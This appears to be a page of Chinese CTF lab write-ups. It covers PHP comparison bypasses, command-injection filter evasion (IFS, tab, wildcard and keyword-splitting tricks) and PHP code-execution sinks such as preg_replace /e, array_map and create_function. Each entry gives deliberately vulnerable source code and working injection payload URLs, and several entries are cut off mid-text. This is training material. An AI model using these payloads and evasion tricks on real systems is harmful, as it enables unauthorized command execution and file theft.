PHP强比较漏洞
源码<?phperror_reporting(0);if ($_GET['var1'] !== $_GET['var2'] && MD5($_GET['var1']) === MD5($_GET['var2'])) { $flag = file_get_contents('/flag'); echo $flag;} else { echo "绕过PHP检测就可以得到FLAG";}?>
思路有关强比较/弱比较漏洞的原理可参考:
https://www.yuque.com/shiyizhesonder/sonder39/xit572hsmwbxqkae
利用数组即可绕过,也可尝试其它绕过方法
http://ctf.seek2.top:32796/?var1[]=1&var2[]=2
PHP弱比较漏洞
背景在PHP中,存在两种类型的比较:强比较和弱比较。
弱比较是使用双等号==进行的比较。在进行弱比较时,如果两个操作数的类型不同,PHP会尝试进行类型转换,然后再进行比较。例如,字符串’0’和数字0在进行弱比较时,会被认为是相等的。
强比较是使用三等号===进行的比较。在进行强比较时,如果两个操作数的类型不同,那么它们就会被认为是不等的,即使它们的值相同。例如,字符串’0’和数字0在进行强比较时,会被认为是不等的。
在某些情况下,弱比较可能会导致意想不到的结果,从而产生安全问题。例如,如果一个应用程序使用弱比较来检查密码,可以通过提交特定的数据来绕过密码检查。
源码<?phperror_reporting(0);if ($_GET['var1'] != $_GET['var2'] && MD5($_GET['var1']) == MD5($_GET['var2'])) { $flag = file_get_conte ...
综合绕过
思路这里输入 127.0.0.1 时,输出
PING 127.0.0.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms--- 127.0.0.1 ping statistics ---2 packets transmitted, 2 packets received, 0% packet lossround-trip min/avg/max = 0.033/0.048/0.064 ms系统检测到该设备处于在线状态
尝试命令执行 127.0.0.1;cat /flag ,输出
127.0.0.1;catflag意图不明,检查输入
继续尝试,发现很多特殊字符被替换为空,对网站进行扫描,发现有 www.zip 文件泄露,下载后获得过滤的源码
flag中每个字符也被过滤,最终采用
127.0.0.1;cat$IFS`ls`
即可绕过,查看页面源码就可以看到 flag, ...
关键字过滤绕过
过滤关键字例如cat
拼接绕过,a=ca;b=t;$a$b /flag
命令替换绕过,more:一页一页的显示文件内容, more /flagless:与 more 类似,less /flaghead:查看头几行 head /flagtac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tac /flagtail:查看尾几行 tail /flagnl:显示的时候,顺便输出行号 nl /flagod:以二进制的方式读取档案内容 od /flag,有些问题没有解决vi:编辑器命令vim:编辑器命令sort: 排序命令,可以查看 sort /flaguniq: 可以查看 uniq /flagfile -f:报错出具体内容sh /flag 2>%261 //报错出文件内容
思路这里输入 127.0.0.1 时,输出
PING 127.0.0.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms64 bytes from 127.0.0 ...
目标文件名绕过
过滤目标文件使用通配符 ?, *代替文件名中的字符
思路这里输入 127.0.0.1 时,输出
PING 127.0.0.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms--- 127.0.0.1 ping statistics ---2 packets transmitted, 2 packets received, 0% packet lossround-trip min/avg/max = 0.033/0.048/0.064 ms系统检测到该设备处于在线状态
尝试命令执行 127.0.0.1;cat /flag ,输出
服务器检测到可疑文件读取'flag',启动了查杀程序😋
根据总结的绕过方法不断尝试,最终
127.0.0.1;cat /f???
即可绕过,也可以尝试总结的其它办法
空格绕过
背景命令执行是一种常见的攻击方式。服务器通常会通过各种方式来防止命令执行。例如,服务器可能会对输入的参数进行校验,只允许特定格式的参数,或者只允许特定的命令。
然而,这些防护措施并不是万无一失的。攻击者可能会找到绕过这些防护措施的方法,使得攻击者可以在服务器上执行任意命令。
空格绕过
制表符%09,cat%09/flag
<, cat</flag, cat%3C/flag
{}, {cat,/flag}
${IFS}, cat${IFS}/flag
$IFS$9, cat$IFS$9/flag
同一种绕过方法可能小概率会因为linux系统版本不同失效
思路这里输入 127.0.0.1 时,输出
PING 127.0.0.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms--- 127.0.0.1 ping statistics ...
可变函数
源码<?phpif (isset($_GET['func'])) { function func1() { echo "func1"; } function func2($arg = '') { echo "func2"; } function func3($arg) { echo "func3的参数:" . $arg; } $func = $_GET['func']; $arg = $_GET['arg']; echo $func($arg);} else { echo "服务器剩余防御:1层";}?>
思路存在可变函数,可以构造函数执行系统命令,使用下面的参数即可
h ...
preg_replace()
源码<?phpif (isset($_GET['name'])) { $subject = 'hello hack'; $pattern = '/hack/e'; $replacement = $_GET['name']; echo preg_replace($pattern, $replacement, $subject);} else { echo "服务器剩余防御:1层";}?>
思路存在函数preg_replace()存在/e选项 ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32820/?name=system(%27cat%20/flag%27);
知识点在 PHP 的 preg_replace() 函数中,/e 是一个修饰符,表示对替换部分进行 eval() 处理,也就是说,替换部分会被当作 PHP 代码执行。
如果传 ...
array_map()
源码<?phpif(isset($_GET['func']) || isset($_GET['argv'])){ $func = $_GET['func']; $argv = $_GET['argv']; $array[0] = $argv; array_map($func, $array);} else { echo "服务器剩余防御:1层";}?>
思路存在危险函数array_map(),可以适当构造执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32817/?func=system&argv=cat%20%20/flag
知识点array_map() 是 PHP 的一个内置函数,它接受一个回调函数和一个或多个数组,然后对每个数组的元素应用回调函数,并返回一个新的数组。
如果传入 system 作为回调函数,并传入一 ...
create_function()
源码<?phpif(isset($_GET['id'])){ $id = $_GET['id']; $code = 'echo'.$func.'id:'.$id.';'; create_function('$func', $code);} else { echo "服务器剩余防御:1层";}?>
思路存在危险函数create_function(),可以适当构造执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32814/?id=}system(%27cat%20/flag%27);//
知识点create_function() 是 PHP 的一个内置函数,它可以创建一个匿名的 lambda 函数,并返回这个函数的引用。这个函数的实现基于 eval(),因此它也存在执行任意 PHP 代码的风险。
当传入一个以 ...